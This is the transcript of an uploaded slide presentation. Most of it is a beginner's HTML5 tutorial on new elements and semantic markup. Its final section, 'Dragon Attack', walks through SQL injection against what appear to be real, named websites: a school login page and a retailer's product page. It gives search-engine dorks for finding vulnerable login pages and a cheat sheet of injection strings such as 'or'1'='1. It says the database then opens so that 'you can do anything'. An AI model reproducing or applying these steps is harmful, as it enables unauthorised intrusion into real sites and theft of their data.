getting started with html5

38
Presentation On HTML5 & Dragon Attack -By Ayaz Ullah Khan

Upload: ayaz-ullah-khan

Post on 13-Apr-2017

185 views

Category:

Documents


2 download

TRANSCRIPT

Page 1: GETTING STARTED WITH HTML5

Presentation OnHTML5 & Dragon Attack

-By Ayaz Ullah Khan

Page 2: GETTING STARTED WITH HTML5

Agenda History, Vision & Future of HTML5 Getting Started With HTML5 1. New and Updated HTML5 Elements 2. First HTML5 webpage 3. New Semantic Elements 4. Designing blog with html5 Structure of a Web Page Dragon Attack Sql By-Pass Questions…???

Page 3: GETTING STARTED WITH HTML5

1. History, Vision & Future of HTML51.1 What Is HTML5?

• Successor of HTML 4.01 and XHTML 1.1• It comes with new tags, features and APIs• Below is a non exhaustive list of features that tend to be labelled as

"HTML5" in the medias:– New structural elements (<header>, <footer>, <nav> and more)– Forms 2.0 and client-side validation– Native browser support for audio and video (<video>, <audio>)– Canvas API and SVG– Web storage– Offline applications– Geolocation– Drag & Drop– Web Workers– New communications API (Server Sent Events, Web Sockets, …)

Page 4: GETTING STARTED WITH HTML5

1. History, Vision & Future of HTML51.2 History of HTML5?

• December 1997: HTML 4.0 is published by the W3C

• February - March 1998: XML 1.0 is published

• December 1999 - January 2000: ECMAScript 3rd Edition, XHTML 1.0 (Basically HTML tags reformulated in XML) and, HTML 4.01 recommendations are published

• May 2001: XHTML 1.1 recommendation is published

• August 2002: XHTML 2.0 first working draft is released.

• December 2002: XHTML 2.0 second working draft published.

• January 2008: First W3C working draft of HTML5 is published!!

Page 5: GETTING STARTED WITH HTML5

1. History, Vision & Future of HTML51.3 Future of HTML5

• 84% of Developers Plan to Adopt Key HTML5 Features

• The key to understanding HTML5 is that it is not one, but a group of technologies. Within HTML5, developers have a tremendous amount of choice regarding what they use and what they don’t use

• The power of HTML5 being ready for prime-time can be seen in Microsoft’s choice to utilize it in Windows 10

 

Page 6: GETTING STARTED WITH HTML5

2. Getting started with HTML5Wondering what it takes to get it started?

• Any Text editor such as Notepad++, Editplus, Net-Beans, Dream weaver, Eclipse

• Modern browsers such as Firefox 3.5 +, IE9, chrome, safari

• Prior knowledge of HTML

Page 7: GETTING STARTED WITH HTML5

3. Structure of Web page3.1. New and Updated HTML5 Elements

HTML5 introduces 28 new elements:     

Elements Description<section> Tag defines sections in a document, such as chapters,

headers, footers, or any other sections of the document.

<article> Inside an element where flow content is allowed, code one or more optional article elements.

<aside> Tag defines some content aside from the content it is placed in.

<hgroup> The hgroup element is typically used to group a set of one or more h1-h6 elements

<header> Element represents a container for introductory content or a set of navigational links.

<footer> Tag defines a footer for a document or section.

<nav> Tag defines a set of navigation links.<figure> Tag specifies self-contained content, like illustrations,

diagrams, photos, code listings, etc.

Page 8: GETTING STARTED WITH HTML5

3. Structure of Web page3.1. New and Updated HTML5 Elements

     Elements Description<audio> Tag defines sound, such as music or other audio streams.

<source> Tag is used to specify multiple media resources for media elements, such as <video> and <audio>.

<embed> Tag defines a container for an external application or interactive content (a plug-in).

<mark> Tag defines marked text.

<progress> Tag represents the progress of a task.

<meter> Tag defines a scalar measurement within a known range, or a fractional value. This is also known as a gauge.

<time> Tag defines a human-readable date/time.

<ruby> Tag specifies a ruby annotation.

<rt> Tag defines an explanation or pronunciation of characters (for East Asian typography) in a ruby annotation.

<rp> Tag can be used to provide parentheses around a ruby text, to be shown by browsers that do not support ruby annotations

Page 9: GETTING STARTED WITH HTML5

3. Structure of Web page3.1. New and Updated HTML5 Elements

     Elements Description<command> Tag is new in HTML5.

<details> Tag specifies additional details that the user can view or hide on demand.

<summary> Tag defines a visible heading for the <details> element. The heading can be clicked to view/hide the details.

<datalist> Tag specifies a list of pre-defined options for an <input> element.

<keygen> Tag specifies a key-pair generator field used for forms.

<output> Tag represents the result of a calculation (like one performed by a script).

<figcaption> Tag defines a caption for a <figure> element.

<video> Tag specifies video, such as a movie clip or other video streams.

<wbr> (Word Break Opportunity) Tag specifies where in a text it would be ok to add a line-break.

<canvas> Element is used to draw graphics on a web page.

Page 10: GETTING STARTED WITH HTML5

3. Structure of Web page3.2. First HTML5 webpage An HTML page first starts with the DOCTYPE declaration

<!DOCTYPE html><!DOCTYPE html> <html> <html> <head> <head> <title> <title>Title of the documentTitle of the document</title></title> </head> </head> <body> <body> That’s all I need to create my first HTML5 pageThat’s all I need to create my first HTML5 page </body> </body>

</html> </html>

Output:

Page 11: GETTING STARTED WITH HTML5

3. Structure of Web page

3.3. New Semantic Elements <nav>: Represents a major navigation block. It groups links to other pages or to parts of the current page. 

<nav> does not have to be used in every place you can find links. For instance, footers often contains links to terms of service, copyright page and

such, the <footer> element would be sufficient in that case

Page 12: GETTING STARTED WITH HTML5

3. Structure of Web page

3.3. New Semantic Elements <Header>: tag specifies a header for a document or section.

However, we mustn't think that "header" is only for masthead of a website. "header" can be use as a heading of an blog entry or news article as every article has its title and published date and time

Page 13: GETTING STARTED WITH HTML5

3. Structure of Web page

3.3. New Semantic Elements <article>: The web today contains a ocean of news articles and blog entries. That gives W3C a good reason to define an element for article instead of <div class="article">.

We should use article for content that we think it can be distributable. Just like news or blog entry can we can share in RSS feed

"article" element can be nested in another "article" element. An article element doesn't just mean article content. You can have header andfooter element in an article. In fact, it is very common to

have header as each article should have a title.

Page 14: GETTING STARTED WITH HTML5

3. Structure of Web page

3.3. New Semantic Elements <aside>: The "aside" element is a section that somehow related to main content,

but it can be separate from that content

Page 15: GETTING STARTED WITH HTML5

3. Structure of Web page

3.3. New Semantic Elements <footer>: Similarly to "header" element, "footer" element is often referred to the footer of a web page. Well, most of the time, footer can be used as what we thought.

Please don't think you can only have one footer per web document, you can have a

footer in every section, or every article.

Page 16: GETTING STARTED WITH HTML5

3. Structure of Web page

3.3. New Semantic Elements <Progress>: The new "progress" element appears to be very similar to the "meter" element. It is created to indicate progress of a specific task.

The progress can be either determinate OR interderminate. Which means, you can use "progress" element to indicate a progress that you do not even know how much more work is to be done yet.

Progress of Task A : <progress value="60" max="100">60%</progress>

Page 17: GETTING STARTED WITH HTML5

3. Structure of Web page

3.3. New Semantic Elements <meter>: "Meter" is a new element in HTML5 which represenet value of a known range as a gauge. The keyword here is "known range". That means, you are only allowed to use it when you are clearly aware of its minimum value and maximum value.

One example is score of rating. I would rate this movie <meter min="0" max="10"

value="8">8 of 10</meter>.

Page 18: GETTING STARTED WITH HTML5

3. Structure of Web page

3.3. New Semantic Elements <mark>: The mark <mark> element represents a run of text in one document marked or highlighted for reference purposes, due to its relevance in another context.

Basically, it is used to bring the reader's attention to a part of the text that might not have been

Page 19: GETTING STARTED WITH HTML5

3. Structure of Web page

3.3. New Semantic Elements <figure>: The <figure> tag specifies self-contained content, like illustrations, diagrams, photos, code listings, etc.

While the content of the <figure> element is related to the main flow, its position is independent of the main flow, and if removed it should not affect the flow of the document

Page 20: GETTING STARTED WITH HTML5

3. Structure of Web page3.3. Lets put altogether

Page 21: GETTING STARTED WITH HTML5

3. Structure of Web page3.3. Designing blog with html5

IE layoutThere’s one gotcha about styling HTML 5 pages in IE: it doesn’t work. You can force it to quite easily with a JavaScript hack document.createElement('element name').

HTML 5 enabling script which I use in the header to conjure all the missing elements into existence all at once.

Page 22: GETTING STARTED WITH HTML5

3. Structure of Web page3.3. It Was Created By Me.

Page 23: GETTING STARTED WITH HTML5

4. Dragon War

4.1. SqL Injections.

4.2. XSS(Cross-Side Scripting). 4.3. Sqlmap(Using Kali Linux).

Page 24: GETTING STARTED WITH HTML5

5. SQL Injection Attacks

5.1. Boolean Based Blind Sql Injection. It is also called inferential SQL injection. 5.2. Time Based Blind Sql Injection. It is also called full blind SQL injection. 5.3. Error Based Sql Injection. In this method SQL statement is passed to get error messages in search of DBMS containing predefined chain of characters. 5.4. Union Based Sql Injection. It is also called inband SQL injection. 5.5. Stack Queries Sql Injection. It is also called multiple statements SQL injection.

Page 25: GETTING STARTED WITH HTML5

5.1. Boolean Base SQL Injection(Attack 1)1.Use Any Search Engine(I Used Google)

Page 26: GETTING STARTED WITH HTML5

2.Art of Googling (Use- inurl:xyz.com login.php)2.1 inurl:www.redroseschools.com/login.asp

Page 27: GETTING STARTED WITH HTML5

3. Use Login Page

Page 28: GETTING STARTED WITH HTML5

4. I Use SQL Injections Cheat Sheet

1. '2. 1 OR 1=13. 1' OR '1'='14. 1'15. 1 AND 1=16. 'or'a'='a7. 1 EXEC SP_ (or EXEC XP_)8. 1' AND 1=(SELECT COUNT(*) FROM tablenames); --9. 1 AND USER_NAME() = 'dbo'10. \; DESC users; --11. ‘or’1=1

Page 29: GETTING STARTED WITH HTML5

5. I Use “ ‘or’1=1 “ & Hit Enter

Page 30: GETTING STARTED WITH HTML5

6. Database Open & Now You Can Do Anything

Page 31: GETTING STARTED WITH HTML5
Page 32: GETTING STARTED WITH HTML5

5.1. Boolean Base SQL Injection(Attack 2)1.Use Any Search Engine(I Used Yahoo)

Page 33: GETTING STARTED WITH HTML5

2.Art of Yahoo(Use- inurl:xyz.com login.php)2.1 inurl:admin.php

Page 34: GETTING STARTED WITH HTML5

3.Art of Yahoo (Use- inurl:xyz.com login.php)3.1 inurl:http://www.wallcoverings.in/products.php?id=37

Page 35: GETTING STARTED WITH HTML5

4. I Use “ ‘or’1=1 “ & Hit Enter

Page 36: GETTING STARTED WITH HTML5

5. Database Open & Now You Can Do Anything

Page 37: GETTING STARTED WITH HTML5
Page 38: GETTING STARTED WITH HTML5